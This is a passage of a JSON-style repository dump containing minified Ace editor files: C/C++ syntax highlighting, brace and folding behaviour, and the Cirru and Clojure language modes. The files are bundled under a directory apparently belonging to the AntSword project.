r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-cirru.js",
    "content": "ace.define(\"ace/mode/cirru_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"constant.numeric\",regex:/[\\d\\.]+/},{token:\"comment.line.double-dash\",regex:/--/,next:\"comment\"},{token:\"storage.modifier\",regex:/\\(/},{token:\"storage.modifier\",regex:/\\,/,next:\"line\"},{token:\"support.function\",regex:/[^\\(\\)\\\"\\s]+/,next:\"line\"},{token:\"string.quoted.double\",regex:/\"/,next:\"string\"},{token:\"storage.modifier\",regex:/\\)/}],comment:[{token:\"comment.line.double-dash\",regex:/\\ +[^\\n]+/,next:\"start\"}],string:[{token:\"string.quoted.double\",regex:/\"/,next:\"line\"},{token:\"constant.character.escape\",regex:/\\\\/,next:\"escape\"},{token:\"string.quoted.double\",regex:/[^\\\\\\\"]+/}],escape:[{token:\"constant.character.escape\",regex:/./,next:\"string\"}],line:[{token:\"constant.numeric\",regex:/[\\d\\.]+/},{token:\"markup.raw\",regex:/^\\s*/,next:\"start\"},{token:\"storage.modifier\",regex:/\\$/,next:\"start\"},{token:\"variable.parameter\",regex:/[^\\(\\)\\\"\\s]+/},{token:\"storage.modifier\",regex:/\\(/,next:\"start\"},{token:\"storage.modifier\",regex:/\\)/},{token:\"markup.raw\",regex:/^\\ */,next:\"start\"},{token:\"string.quoted.double\",regex:/\"/,next:\"string\"}]}};r.inherits(s,i),t.CirruHighlightRules=s}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/cirru\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/cirru_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./cirru_highlight_rules\").CirruHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/cirru\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-clojure.js",
    "content": "ace.define(\"ace/mode/clojure_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"* *1 *2 *3 *agent* *allow-unresolved-vars* *assert* *clojure-version* *command-line-args* *compile-files* *compile-path* *e *err* *file* *flush-on-newline* *in* *macro-meta* *math-context* *ns* *out* *print-dup* *print-length* *print-level* *print-meta* *print-readably* *read-eval* *source-path* *use-context-classloader* *warn-on-reflection* + - -> ->> .. / < <= = == > &gt; >= &gt;= accessor aclone add-classpath add-watch agent agent-errors aget alength alias all-ns alter alter-meta! alter-var-root amap ancestors and apply areduce array-map aset aset-boolean aset-byte aset-char aset-double aset-float aset-int aset-long aset-short assert assoc assoc! assoc-in associative? atom await await-for await1 bases bean bigdec bigint binding bit-and bit-and-not bit-clear bit-flip bit-not bit-or bit-set bit-shift-left bit-shift-right bit-test bit-xor boolean boolean-array booleans bound-fn bound-fn* butlast byte byte-array bytes cast char char-array char-escape-string char-name-string char? chars chunk chunk-append chunk-buffer chunk-cons chunk-first chunk-next chunk-rest chunked-seq? class class? clear-agent-errors clojure-version coll? comment commute comp comparator compare compare-and-set! compile complement concat cond condp conj conj! cons constantly construct-proxy contains? count counted? create-ns create-struct cycle dec decimal? declare definline defmacro defmethod defmulti defn defn- defonce defstruct delay delay? deliver deref derive descendants destructure disj disj! dissoc dissoc! distinct distinct? doall doc dorun doseq dosync dotimes doto double double-array doubles drop drop-last drop-while empty empty? ensure enumeration-seq eval even? every? false? ffirst file-seq filter find find-doc find-ns find-var first float float-array float? floats flush fn fn? fnext for force format future future-call future-cancel future-cancelled? future-done? future? gen-class gen-interface gensym get get-in get-method get-proxy-class get-thread-bindings get-validator hash hash-map hash-set identical? identity if-let if-not ifn? import in-ns inc init-proxy instance? int int-array integer? interleave intern interpose into into-array ints io! isa? iterate iterator-seq juxt key keys keyword keyword? last lazy-cat lazy-seq let letfn line-seq list list* list? load load-file load-reader load-string loaded-libs locking long long-array longs loop macroexpand macroexpand-1 make-array make-hierarchy map map? mapcat max max-key memfn memoize merge merge-with meta method-sig methods min min-key mod name namespace neg? newline next nfirst nil? nnext not not-any? not-empty not-every? not= ns ns-aliases ns-imports ns-interns ns-map ns-name ns-publics ns-refers ns-resolve ns-unalias ns-unmap nth nthnext num number? odd? or parents partial partition pcalls peek persistent! pmap pop pop! pop-thread-bindings pos? pr pr-str prefer-method prefers primitives-classnames print print-ctor print-doc print-dup print-method print-namespace-doc print-simple print-special-doc print-str printf println println-str prn prn-str promise proxy proxy-call-with-super proxy-mappings proxy-name proxy-super push-thread-bindings pvalues quot rand rand-int range ratio? rational? rationalize re-find re-groups re-matcher re-matches re-pattern re-seq read read-line read-string reduce ref ref-history-count ref-max-history ref-min-history ref-set refer refer-clojure release-pending-sends rem remove remove-method remove-ns remove-watch repeat repeatedly replace replicate require reset! reset-meta! resolve rest resultset-seq reverse reversible? rseq rsubseq second select-keys send send-off seq seq? seque sequence sequential? set set-validator! set? short short-array shorts shutdown-agents slurp some sort sort-by sorted-map sorted-map-by sorted-set sorted-set-by sorted? special-form-anchor special-symbol? split-at split-with str stream? string? struct struct-map subs subseq subvec supers swap! symbol symbol? sync syntax-symbol-anchor take take-last take-nth take-while test the-ns time to-array to-array-2d trampoline transient tree-seq true? type unchecked-add unchecked-dec unchecked-divide unchecked-inc unchecked-multiply unchecked-negate unchecked-remainder unchecked-subtract underive unquote unquote-splicing update-in update-proxy use val vals var-get var-set var? vary-meta vec vector vector? when when-first when-let when-not while with-bindings with-bindings* with-in-str with-loading-context with-local-vars with-meta with-open with-out-str with-precision xml-seq zero? zipmap\",t=\"throw try var def do fn if let loop monitor-enter monitor-exit new quote recur set!\",n=\"true false nil\",r=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"support.function\":e},\"identifier\",!1,\" 